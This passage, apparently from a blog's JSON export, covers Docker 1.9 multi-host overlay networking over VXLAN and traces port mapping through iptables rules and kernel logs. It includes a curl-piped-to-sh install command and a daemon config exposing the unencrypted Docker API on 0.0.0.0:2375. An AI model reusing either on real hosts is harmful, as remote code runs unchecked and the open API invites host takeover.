成小块，分布到各个主机上，防止IP冲突；子网划分依赖物理交换机设置；Docker容器的主机地址空间大小依赖物理网络划分等。\n3、使用第三方的基于SDN的方案：比如 使用Open vSwitch – OVS 或CoreOS的Flannel 等。\n关于这些第三方方案的细节大家可以参考O’Reilly的《Docker Cookbook》 一书。\nDocker在1.9版本中给大家带来了一种原生的跨多主机容器网络的解决方案，该方案的实质是采用了基于VXLAN 的覆盖网技术。方案的使用有一些前提条件：\n1、Linux Kernel版本 \u0026gt;= 3.16；\n2、需要一个外部Key-value Store（官方例子中使用的是consul）；\n3、各物理主机上的Docker Daemon需要一些特定的启动参数；\n4、物理主机允许某些特定TCP/UDP端口可用。\n本文将带着大家一起利用Docker 1.9.1创建一个跨多主机容器网络，并分析基于该网络的容器间通信原理。\n一、实验环境建立 1、升级Linux Kernel 由于实验环境采用的是Ubuntu 14.04 server amd64，其kernel版本不能满足建立跨多主机容器网络要求，因此需要对内核版本进行升级。在Ubuntu的内核站点 下载3.16.7 utopic内核 的三个文件：\nlinux-headers-3.16.7-031607_3.16.7-031607.201410301735_all.deb linux-image-3.16.7-031607-generic_3.16.7-031607.201410301735_amd64.deb linux-headers-3.16.7-031607-generic_3.16.7-031607.201410301735_amd64.deb 在本地执行下面命令安装：\nsudo dpkg -i linux-headers-3.16.7-*.deb linux-image-3.16.7-*.deb 需要注意的是：kernel mainline上的3.16.7内核没有带linux-image-extra，也就没有了aufs 的驱动，因此Docker Daemon将不支持默认的存储驱动：–storage-driver=aufs，我们需要将storage driver更换为devicemapper。\n内核升级是一个有风险的操作，并且是否能升级成功还要看点“运气”：我的两台刀片服务器，就是一台升级成功一台升级失败（一直报网卡问题）。\n2、升级Docker到1.9.1版本 从国内下载Docker官方的安装包比较慢，这里利用daocloud.io提供的方法 快速安装Docker最新版本：\n$ curl -sSL https://get.daocloud.io/docker | sh 3、拓扑 本次的跨多主机容器网络基于两台在不同子网网段内的物理机承载，基于物理机搭建，目的是简化后续网络通信原理分析。\n拓扑图如下：\n二、跨多主机容器网络搭建 1、创建consul 服务 考虑到kv store在本文并非关键，仅作跨多主机容器网络创建启动的前提条件之用，因此仅用包含一个server节点的”cluster”。\n参照拓扑图，我们在10.10.126.101上启动一个consul，关于consul集群以及服务注册、服务发现等细节可以参考我之前的一 篇文章：\n$./consul -d agent -server -bootstrap-expect 1 -data-dir ./data -node=master -bind=10.10.126.101 -client=0.0.0.0 \u0026amp; 2、修改Docker Daemon DOCKER_OPTS参数 前面提到过，通过Docker 1.9创建跨多主机容器网络需要重新配置每个主机节点上的Docker Daemon的启动参数：\nubuntu系统这个配置在/etc/default/docker下： DOCKER_OPTS=\u0026quot;--dns 8.8.8.8 --dns 8.8.4.4 -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock --cluster-advertise eth0:2375 --cluster-store consul://10.10.126.101:8500/network --storage-driver=devicemapper\u0026quot; 这里多说几句：\n-H(或–host)配置的是Docker client(包括本地和远程的client)与Docker Daemon的通信媒介，也是Docker REST api的服务端口。默认是/var/run/docker.sock（仅用于本地），当然也可以通过tcp协议通信以方便远程Client访问，就像上面 配置的那样。非加密网通信采用2375端口，而TLS加密连接则用2376端口。这两个端口已经申请在IANA注册并获批，变成了知名端口。-H可以配置多个，就像上面配置的那样。 unix socket便于本地docker client访问本地docker daemon；tcp端口则用于远程client访问。这样一来：docker pull ubuntu，走docker.sock；而docker -H 10.10.126.101:2375 pull ubuntu则走tcp socket。\n–cluster-advertise 配置的是本Docker Daemon实例在cluster中的地址；\n–cluster-store配置的是Cluster的分布式KV store的访问地址；\n如果你之前手工修改过iptables的规则，建议重启Docker Daemon之前清理一下iptables规则：sudo iptables -t nat -F, sudo iptables -t filter -F等。\n3、启动各节点上的Docker Daemon 以10.10.126.101为例：\n$ sudo service docker start $ ps -ef|grep docker root 2069 1 0 Feb02 ? 00:01:41 /usr/bin/docker -d --dns 8.8.8.8 --dns 8.8.4.4 --storage-driver=devicemapper -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock --cluster-advertise eth0:2375 --cluster-store consul://10.10.126.101:8500/network 启动后iptables的nat, filter规则与单机Docker网络初始情况并无二致。\n101节点上初始网络driver类型： $docker network ls NETWORK ID NAME DRIVER 47e57d6fdfe8 bridge bridge 7c5715710e34 none null 19cc2d0d76f7 host host 4、创建overlay网络net1和net2 在101节点上，创建net1：\n$ sudo docker network create -d overlay net1 在71节点上，创建net2:\n$ sudo docker network create -d overlay net2 之后无论在71节点还是101节点，我们查看当前网络以及驱动类型都是如下结果：\n$ docker network ls NETWORK ID NAME DRIVER 283b96845cbe net2 overlay da3d1b5fcb8e net1 overlay 00733ecf5065 bridge bridge 71f3634bf562 none null 7ff8b1007c09 host host 此时，iptables规则也并无变化。\n5、启动两个overlay net下的containers 我们分别在net1和net2下面启动两个container，每个节点上各种net1和net2的container各一个：\n101: sudo docker run -itd --name net1c1 --net net1 ubuntu:14.04 sudo docker run -itd --name net2c1 --net net2 ubuntu:14.04 71: sudo docker run -itd --name net1c2 --net net1 ubuntu:14.04 sudo docker run -itd --name net2c2 --net net2 ubuntu:14.04 启动后，我们就得到如下网络信息（容器的ip地址可能与前面拓扑图中的不一致，每次容器启动ip地址都可能变化）：\nnet1: net1c1 - 10.0.0.7 net1c2 - 10.0.0.5 net2: net2c1 - 10.0.0.4 net2c2 - 10.0.0.6 6、容器连通性 在net1c1中，我们来看看其到net1和net2的连通性：\nroot@021f14bf3924:/# ping net1c2 PING 10.0.0.5 (10.0.0.5) 56(84) bytes of data. 64 bytes from 10.0.0.5: icmp_seq=1 ttl=64 time=0.670 ms 64 bytes from 10.0.0.5: icmp_seq=2 ttl=64 time=0.387 ms ^C --- 10.0.0.5 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.387/0.528/0.670/0.143 ms root@021f14bf3924:/# ping 10.0.0.4 PING 10.0.0.4 (10.0.0.4) 56(84) bytes of data. ^C --- 10.0.0.4 ping statistics --- 2 packets transmitted, 0 received, 100% packet loss, time 1008ms 可见，net1中的容器是互通的，但net1和net2这两个overlay net之间是隔离的。\n三、跨多主机容器网络通信原理 在“单机容器网络”一文中，我们说过容器间的通信以及容器到外部网络的通信是通过docker0网桥并结合iptables实现的。那么在上面已经建立的跨多主机容器网络里，容器的通信又是如何实现的呢？下面我们一起来理解一下。注意：有了单机容器网络基础后，这里很多网络细节就不再赘述了。\n我们先来看看，在net1下的容器的网络配置，以101上的net1c1容器为例：\n$ sudo docker attach net1c1 root@021f14bf3924:/# ip route default via 172.19.0.1 dev eth1 10.0.0.0/24 dev eth0 proto kernel scope link src 10.0.0.4 172.19.0.0/16 dev eth1 proto kernel scope link src 172.19.0.2 root@021f14bf3924:/# ip a 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 8: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue state UP group default link/ether 02:42:0a:00:00:04 brd ff:ff:ff:ff:ff:ff inet 10.0.0.4/24 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::42:aff:fe00:4/64 scope link valid_lft forever preferred_lft forever 10: eth1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff inet 172.19.0.2/16 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::42:acff:fe13:2/64 scope link valid_lft forever preferred_lft forever 可以看出net1c1有两个网口：eth0(10.0.0.4)和eth1(172.19.0.2)；从路由表来看，目的地址在172.19.0.0/16范围内的，走eth1；目的地址在10.0.0.0/8范围内的，走eth0。\n我们跳出容器，回到主机网络范畴：\n在101上： $ ip a ... ... 5: docker_gwbridge: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP link/ether 02:42:52:35:c9:fc brd ff:ff:ff:ff:ff:ff inet 172.19.0.1/16 scope global docker_gwbridge valid_lft forever preferred_lft forever inet6 fe80::42:52ff:fe35:c9fc/64 scope link valid_lft forever preferred_lft forever 6: docker0: \u0026lt;NO-CARRIER,BROADCAST,MULTICAST,UP\u0026gt; mtu 1500 qdisc noqueue state DOWN link/ether 02:42:4b:70:68:9a brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 scope global docker0 valid_lft forever preferred_lft forever 11: veth26f6db4: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue master docker_gwbridge state UP link/ether b2:32:d7:65:dc:b2 brd ff:ff:ff:ff:ff:ff inet6 fe80::b032:d7ff:fe65:dcb2/64 scope link valid_lft forever preferred_lft forever 16: veth54881a0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue master docker_gwbridge state UP link/ether 9e:45:fa:5f:a0:15 brd ff:ff:ff:ff:ff:ff inet6 fe80::9c45:faff:fe5f:a015/64 scope link valid_lft forever preferred_lft forever 我们看到除了我们熟悉的docker0网桥外，还多出了一个docker_gwbridge网桥：\n$ brctl show bridge name bridge id STP enabled interfaces docker0 8000.02424b70689a no docker_gwbridge 8000.02425235c9fc no veth26f6db4 veth54881a0 并且从brctl的输出结果来看，两个veth都桥接在docker_gwbridge上，而不是docker0上；docker0在跨多主机容器网络中并没有被用到。docker_gwbridge替代了docker0，用来实现101上隶属于net1网络或net2网络中容器间的通信以及容器到外部的通信，其职能就和单机容器网络中docker0一样。\n但位于不同host且隶属于net1的两个容器net1c1和net1c2间的通信显然并没有通过docker_gwbridge完成，从net1c1路由表来看，当net1c1 ping net1c2时，消息是通过eth0，即10.0.0.4这个ip出去的。从host的视角，net1c1的eth0似乎没有网络设备与之连接，那网络通信是如何完成的呢？\n这一切是从创建network开始的。前面我们执行docker network create -d overlay net1来创建net1 overlay network，这个命令会创建一个新的network namespace。\n我们知道每个容器都有自己的网络namespace，从容器的视角看其网络名字空间，我们能看到网络设备诸如：lo、eth0。这个eth0与主机网络名字空间中的vethx是一个虚拟网卡pair。overlay network也有自己的net ns，而overlay network的net ns与容器的net ns之间也有着一些网络设备对应关系。\n我们先来查看一下network namespace的id。为了能利用iproute2工具对network ns进行管理，我们需要做如下操作：\n$cd /var/run $sudo ln -s /var/run/docker/netns netns 这是因为iproute2只能操作/var/run/netns下的net ns，而docker默认的net ns却放在/var/run/docker/netns下。上面的操作成功执行后，我们就可以通过ip命令查看和管理net ns了：\n$ sudo ip netns 29170076ddf6 1-283b96845c 5ae976d9dc6a 1-da3d1b5fcb 我们看到在101主机上，有4个已经建立的net ns。我们大胆猜测一下，这四个net ns分别是两个container的net ns和两个overlay network的net ns。从netns的ID格式以及结合下面命令输出结果中的network id来看：\n$ docker network ls NETWORK ID NAME DRIVER 283b96845cbe net2 overlay da3d1b5fcb8e net1 overlay dd84da8e80bf host host 3295c22b22b8 docker_gwbridge bridge b96e2d8d4068 bridge bridge 23749ee4292f none null 我们大致可以猜测出来：\n1-da3d1b5fcb 是 net1的net ns； 1-283b96845c是 net2的net ns； 29170076ddf6和5ae976d9dc6a则分属于两个container的net ns。 由于我们以net1为例，因此下面我们就来分析net1的net ns – 1-da3d1b5fcb。通过ip命令我们可以得到如下结果：\n$ sudo ip netns exec 1-da3d1b5fcb ip a 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: br0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue state UP link/ether 06:b0:c6:93:25:f3 brd ff:ff:ff:ff:ff:ff inet 10.0.0.1/24 scope global br0 valid_lft forever preferred_lft forever inet6 fe80::b80a:bfff:fecc:a1e0/64 scope link valid_lft forever preferred_lft forever 7: vxlan1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue master br0 state UNKNOWN link/ether ea:0c:e0:bc:19:c5 brd ff:ff:ff:ff:ff:ff inet6 fe80::e80c:e0ff:febc:19c5/64 scope link valid_lft forever preferred_lft forever 9: veth2: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue master br0 state UP link/ether 06:b0:c6:93:25:f3 brd ff:ff:ff:ff:ff:ff inet6 fe80::4b0:c6ff:fe93:25f3/64 scope link valid_lft forever preferred_lft forever $ sudo ip netns exec 1-da3d1b5fcb ip route 10.0.0.0/24 dev br0 proto kernel scope link src 10.0.0.1 $ sudo ip netns exec 1-da3d1b5fcb brctl show bridge name bridge id STP enabled interfaces br0 8000.06b0c69325f3 no veth2 vxlan1 看到br0、veth2，我们心里终于有了底儿了。我们猜测net1c1容器中的eth0与veth2是一个veth pair，并桥接在br0上，通过ethtool查找veth序号的对应关系可以证实这点：\n$ sudo docker attach net1c1 root@021f14bf3924:/# ethtool -S eth0 NIC statistics: peer_ifindex: 9 101主机： $ sudo ip netns exec 1-da3d1b5fcb ip -d link 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: br0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue state UP link/ether 06:b0:c6:93:25:f3 brd ff:ff:ff:ff:ff:ff bridge 7: vxlan1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue master br0 state UNKNOWN link/ether ea:0c:e0:bc:19:c5 brd ff:ff:ff:ff:ff:ff vxlan 9: veth2: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1450 qdisc noqueue master br0 state UP link/ether 06:b0:c6:93:25:f3 brd ff:ff:ff:ff:ff:ff veth 可以看到net1c1的eth0的pair peer index为9，正好与net ns 1-da3d1b5fcb中的veth2的序号一致。\n那么vxlan1呢？注意这个vxlan1并非是veth设备，在ip -d link输出的信息中，它的设备类型为vxlan。前面说过Docker的跨多主机容器网络是基于vxlan的，这里的vxlan1就是net1这个overlay network的一个 VTEP，即VXLAN Tunnel End Point – VXLAN隧道端点。它是VXLAN网络的边缘设备。VXLAN的相关处理都在VTEP上进行，例如识别以太网数据帧所属的VXLAN、基于 VXLAN对数据帧进行二层转发、封装/解封装报文等。\n至此，我们可以大致画出一幅跨多主机网络的原理图：\n如果在net1c1中ping net1c2，数据包的行走路径是怎样的呢？\n1、net1c1(10.0.0.4)中ping net1c2(10.0.0.5)，根据net1c1的路由表，数据包可通过直连网络到达net1c2。于是arp请求获取net1c2的MAC地址（在vxlan上的arp这里不详述了），得到mac地址后，封包，从eth0发出；\n2、eth0桥接在net ns 1-da3d1b5fcb中的br0上，这个br0是个网桥(交换机)虚拟设备，需要将来自eth0的包转发出去，于是将包转给了vxlan设备；这个可以通过arp -a看到一些端倪：\n$ sudo ip netns exec 1-da3d1b5fcb arp -a ? (10.0.0.5) at 02:42:0a:00:00:05 [ether] PERM on vxlan1 3、vxlan是个特殊设备，收到包后，由vxlan设备创建时注册的设备处理程序对包进行处理，即进行VXLAN封包（这期间会查询consul中存储的net1信息），将ICMP包整体作为UDP包的payload封装起来，并将UDP包通过宿主机的eth0发送出去。\n4、71宿主机收到UDP包后，发现是VXLAN包，根据VXLAN包中的相关信息（比如Vxlan Network Identifier，VNI=256)找到vxlan设备，并转给该vxlan设备处理。vxlan设备的处理程序进行解包，并将UDP中的payload取出，整体通过br0转给veth口，net1c2从eth0收到ICMP数据包，回复icmp reply。\n我们可以通过wireshark抓取相关vxlan包，高版本wireshark内置VXLAN协议分析器，可以直接识别和展示VXLAN包，这里安装的是2.0.1版本（注意：一些低版本wireshark不支持VXLAN分析器，比如1.6.7版本）：\n关于VXLAN协议的细节，过于复杂，在后续的文章中maybe会有进一步理解。\n","permalink":"https://tonybai.com/2016/02/15/understanding-docker-multi-host-networking/","summary":"\u003cp\u003e在\u003ca href=\"https://blog.docker.com/tag/docker-1-9/\"\u003eDocker 1.9\u003c/a\u003e 出世前，跨多主机的容器通信方案大致有如下三种：\u003c/p\u003e\n\u003cp\u003e1、\u003ca href=\"http://tonybai.com/2016/01/18/understanding-binding-docker-container-ports-to-host/\"\u003e端口映射\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e将宿主机A的端口P映射到容器C的网络空间监听的端口P’上，仅提供四层及以上应用和服务使用。这样其他主机上的容器通过访问宿主机A的端口P实 现与容器C的通信。显然这个方案的应用场景很有局限。\u003c/p\u003e","title":"理解Docker跨多主机容器网络"},{"content":"在”理解Docker单机容器网络“一文中，还有一个Docker容器网络的功能尚未提及，那就是Docker容器的端口映射。即将容器的服务端口P’ 绑定到宿主机的端口P上，最终达到一种效果：外部程序通过宿主机的P端口访问，就像直接访问Docker容器网络内部容器提供的服务一样。\nDocker针对端口映射前后有两种方案，一种是1.7版本之前docker-proxy+iptables DNAT的方式；另一种则是1.7版本(及之后)提供的完全由iptables DNAT实现的端口映射。不过在目前docker 1.9.1中，前一种方式依旧是默认方式。但是从Docker 1.7版本起，Docker提供了一个配置项：–userland-proxy，以让Docker用户决定是否启用docker-proxy，默认为true，即启用docker-proxy。本文续前文，继续探讨使用端口映射时Docker容器网络的通信流程。\n本文中的实验环境依旧保持与上文相同：docker 1.9.1，ubuntu 12.04宿主机，docker image基于官方ubuntu 14.04 image做的一些软件安装。\n一、–userland-proxy=true(defaut)的情况下端口映射 我们首先在实验环境下采用默认的方式进行端口映射，即–userland-proxy=true。\n我们来建立一个 新container – container3(172.17.0.4)，实现了0.0.0.0:12580 -\u0026gt; container3:12580。\n$docker run -it --name container3 -p 12580:12580 dockernetworking/ubuntu:14.04 /bin/bash 这个命令执行后，iptables增加了三条rules：\nfilter forward链: Chain DOCKER (1 references) pkts bytes target prot opt in out source destination 0 0 ACCEPT tcp -- !docker0 docker0 0.0.0.0/0 172.17.0.4 tcp dpt:12580 nat output链: Chain DOCKER (1 references) pkts bytes target prot opt in out source destination 0 0 DNAT tcp -- !docker0 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:12580 to:172.17.0.4:12580 nat postrouting链： Chain POSTROUTING (policy ACCEPT 24 packets, 1472 bytes) pkts bytes target prot opt in out source destination 0 0 MASQUERADE tcp -- * * 172.17.0.4 172.17.0.4 tcp dpt:12580 我们可以看到了一个DNAT target，是在nat output链中，这个是一个关键点。同样是考虑到调试的方便，在这新增的rules前面，增加LOG target，新的iptables导出内容为：\niptables.portmap.stage1.rules # Generated by iptables-save v1.4.12 on Fri Jan 15 15:31:06 2016 *raw : PREROUTING ACCEPT [5737658:60554342802] :OUTPUT ACCEPT [4294004:56674784720] -A PREROUTING -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawPrerouting:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawPrerouting:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawOutput:\u0026quot; --log-level 7 COMMIT # Completed on Fri Jan 15 15:31:06 2016 # Generated by iptables-save v1.4.12 on Fri Jan 15 15:31:06 2016 *filter :INPUT ACCEPT [4444190:53498587744] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [4292173:56674165678] : DOCKER - [0:0] :FwdId0Od0 - [0:0] :FwdId0Ond0 - [0:0] :FwdOd0 - [0:0] -A INPUT ! -i lo -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterFilterInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterInput:\u0026quot; --log-level 7 -A FORWARD -o docker0 -j DOCKER -A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j FwdOd0 -A FORWARD -i docker0 ! -o docker0 -j FwdId0Ond0 -A FORWARD -i docker0 -o docker0 -j FwdId0Od0 -A OUTPUT ! -s 127.0.0.1/32 -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterFilterOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterOutput:\u0026quot; --log-level 7 -A DOCKER -d 172.17.0.4/32 ! -i docker0 -o docker0 -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-PortmapFowardDocker:\u0026quot; --log-level 7 -A DOCKER -d 172.17.0.4/32 ! -i docker0 -o docker0 -p tcp -m tcp --dport 12580 -j ACCEPT -A FwdId0Od0 -i docker0 -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-FwdId0Od0:\u0026quot; --log-level 7 -A FwdId0Od0 -i docker0 -o docker0 -j ACCEPT -A FwdId0Ond0 -i docker0 ! -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-FwdId0Ond0:\u0026quot; --log-level 7 -A FwdId0Ond0 -i docker0 ! -o docker0 -j ACCEPT -A FwdOd0 -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j LOG --log-prefix \u0026quot;[TonyBai]-FwdOd0:\u0026quot; --log-level 7 -A FwdOd0 -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT COMMIT # Completed on Fri Jan 15 15:31:06 2016 # Generated by iptables-save v1.4.12 on Fri Jan 15 15:31:06 2016 *nat : PREROUTING ACCEPT [24690:5091417] :INPUT ACCEPT [10942:2271167] :OUTPUT ACCEPT [7756:523318] : POSTROUTING ACCEPT [7759:523498] : DOCKER - [0:0] :LogNatPostRouting - [0:0] -A PREROUTING -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-Enter iptables:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPrerouting:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPrerouting:\u0026quot; --log-level 7 -A INPUT ! -i lo -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterNatInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatInput:\u0026quot; --log-level 7 -A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j LogNatPostRouting -A POSTROUTING -s 172.17.0.4/32 -d 172.17.0.4/32 -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-PortmapNatPostRouting:\u0026quot; --log-level 7 -A POSTROUTING -s 172.17.0.4/32 -d 172.17.0.4/32 -p tcp -m tcp --dport 12580 -j MASQUERADE -A DOCKER ! -i docker0 -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-PortmapNatOutputDocker:\u0026quot; --log-level 7 -A DOCKER ! -i docker0 -p tcp -m tcp --dport 12580 -j DNAT --to-destination 172.17.0.4:12580 -A LogNatPostRouting -s 172.17.0.0/16 ! -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPostRouting:\u0026quot; --log-level 7 -A LogNatPostRouting -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE COMMIT # Completed on Fri Jan 15 15:31:06 2016 另外我们可以查看到宿主机中多了一个进程，这就是前面所说的docker-proxy，每增加一个端口映射，宿主机就会多出一个docker-proxy进程：\nroot 5742 2113 0 08:48 ? 00:00:00 docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 12580 -container-ip 172.17.0.4 -container-port 12580 1、从10.10.126.187访问宿主机(10.10.126.101)的12580端口 10.10.126.187是与101在同一直连网路的主机，我们在其上执行telnet 10.10.126.101 12580。如果container3中有server在监听12580，则建立连接和数据通信(发送一个hello)的过程如下。\n【187到101的tcp握手sync包】\n101从eth0网卡收到目的地址是自己的sync数据包：\nJan 15 16:04:54 pc-baim kernel: [28410.162828] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=32617 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=5840 RES=0x00 SYN URGP=0 Jan 15 16:04:54 pc-baim kernel: [28410.162862] [TonyBai]-NatPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=32617 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=5840 RES=0x00 SYN URGP=0 由于目的地址就是自己，因此在iptables中走input chain将数据包发给user层：\nJan 15 16:04:54 pc-baim kernel: [28410.162885] [TonyBai]-FilterInput:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=32617 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=5840 RES=0x00 SYN URGP=0 Jan 15 16:04:54 pc-baim kernel: [28410.162900] [TonyBai]-NatInput:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=32617 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=5840 RES=0x00 SYN URGP=0 【101回复ack sync包】\n101上的用户层是docker-proxy在监听12580端口，当收到sync后，会回复ack sync。由于是user空间自产包，路由后走output链。\nJan 15 16:04:54 pc-baim kernel: [28410.162933] [TonyBai]-RawOutput:IN= OUT=eth0 SRC=10.10.126.101 DST=10.10.126.187 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=33250 WINDOW=28960 RES=0x00 ACK SYN URGP=0 Jan 15 16:04:54 pc-baim kernel: [28410.162948] [TonyBai]-FilterOutput:IN= OUT=eth0 SRC=10.10.126.101 DST=10.10.126.187 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=33250 WINDOW=28960 RES=0x00 ACK SYN URGP=0 【187回复ack，101与187握手完成】\n187回复握手过程最后的一个ack。这个过程与sync类似：\nJan 15 16:04:54 pc-baim kernel: [28410.163397] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=32618 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=92 RES=0x00 ACK URGP=0 Jan 15 16:04:54 pc-baim kernel: [28410.163437] [TonyBai]-FilterInput:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=32618 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=92 RES=0x00 ACK URGP=0 重点是接下来发生的事情：101上的docker-proxy向container3上的server程序建立tcp连接！\n【host向container3发送sync】\nJan 15 16:04:54 pc-baim kernel: [28410.163863] [TonyBai]-RawOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.4 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=5768 DF PROTO=TCP SPT=43771 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 15 16:04:54 pc-baim kernel: [28410.163901] [TonyBai]-FilterOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.4 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=5768 DF PROTO=TCP SPT=43771 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 我们看到SYN数据包源地址用的是172.17.0.1，不知是否是docker-proxy内部有意选择了网桥的ip。由于是user层发出的包，于是走iptables output链。\n【container3回复ack sync】\ncontainer3回复ack sync，目的地址是172.17.0.1，host从docker0网卡收到ack sync数据，路由后发现是发给自己的包，于是走input chain.\nJan 15 16:04:54 pc-baim kernel: [28410.164000] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=172.17.0.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=43771 WINDOW=28960 RES=0x00 